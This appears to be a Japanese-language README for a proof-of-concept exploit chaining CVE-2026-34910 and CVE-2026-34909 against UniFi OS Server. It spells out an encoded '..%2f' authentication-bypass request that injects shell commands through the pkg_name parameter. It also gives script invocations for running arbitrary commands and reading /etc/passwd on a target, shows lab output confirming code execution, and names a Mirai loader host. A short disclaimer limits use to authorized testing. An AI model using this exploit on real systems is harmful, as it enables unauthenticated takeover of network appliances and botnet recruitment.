
CVE-2026-34910/34909 — UniFi OS 未認証RCE + ..%2f認証バイパスによるファイル読み取り (CVSS 10.0, KEV, Mirai ITW)
未認証コマンドインジェクションRCE (CVE-2026-34910) + パストラバーサルによる任意ファイル読み取り (CVE-2026-34909)、UniFi OS Server における脆弱性。
それぞれ CVSS 10.0 (Critical) · CISA KEV に登録済み · Mirai派生のボットネット(azsxd インプラント)によって活発に悪用中。
Ubiquiti UniFi OS には nginx 認証ゲートウェイが同梱されており、RAW URI が /api/auth/validate-sso/ で始まるリクエストを公開扱いとする一方、正規化されたURI(%2f → / にデコードし、../ を畳み込む)でルーティングを行います。トラバーサルをエンコードすることで両者が乖離します:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ 内部のパッケージ更新ハンドラに到達し、pkg_name を
/bin/sh -c に渡す → 単一リクエストでの未認証RCE。
同じプリミティブを /app-assets/... に対して使用すると、ディスク上のファイルを読み取る
(CVE-2026-34909)。
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCEペイロードは、ハンドラ内部の sudo systemctl stop <pkg_name> シェルコマンドにセミコロンを注入します: pkg_name=evil;<CMD> → sudo systemctl stop evil;<CMD> — 注入されたコマンドはホスト上で ucs-update ユーザーとして実行されます。
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ 完全に検証済み — 実際の UniFi OS Server 5.0.6 に対して RCE を確認 (脆弱、セットアップ完了)Docker 上で実行 (hieutq/unifi-os-server:5.0.6-amd64):
..%2f認証バイパスが内部のlatest_packageハンドラに到達する (レスポンス:CODE_SYSTEM_ERROR/ "pkg_name required" — nginx の 400 ではない)。pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueがターゲット上にファイルを 作成した(-rw-r--r-- ucs-update)→ コマンドインジェクション → RCE を確認。- パッチ適用済みの UniFi OS 5.1.21 に対しては、同じリクエストが HTTP 400 を返す(nginx が raw-URI と正規化 URI の不一致を拒否する)ため、クリーンな ネガティブ結果であることを確認。
セットアップは実際の Web ウィザード(デバイス名 → 認証情報 → コンソールパスワード → 完了)を通じて完了したため、このラボは本番インストール済みの アプライアンスと一致する。
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | 深刻度 | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|---|
| CVE-2026-34910 | 10.0 緊急 | UniFi OS Server (SAB-064 より前) | SAB-064 |
| CVE-2026-34909 | 10.0 緊急 | UniFi OS Server (SAB-064 より前) | SAB-064 |
| CVE-2026-34908 | 10.0 緊急 | UniFi OS Server (SAB-064 より前) | SAB-064 |
Mirai/Gafgyt 派生のボットネット(azsxd v2.0 インプラント)が、認証バイパスとコマンドインジェクションを連鎖させて未認証 RCE を実行しています。マルチアーキテクチャ対応のローダーは 185.228.26.16 から配布されています。詳細は pwndefend の解説記事 を参照してください。
許可されたセキュリティテストおよび教育目的にのみ使用してください。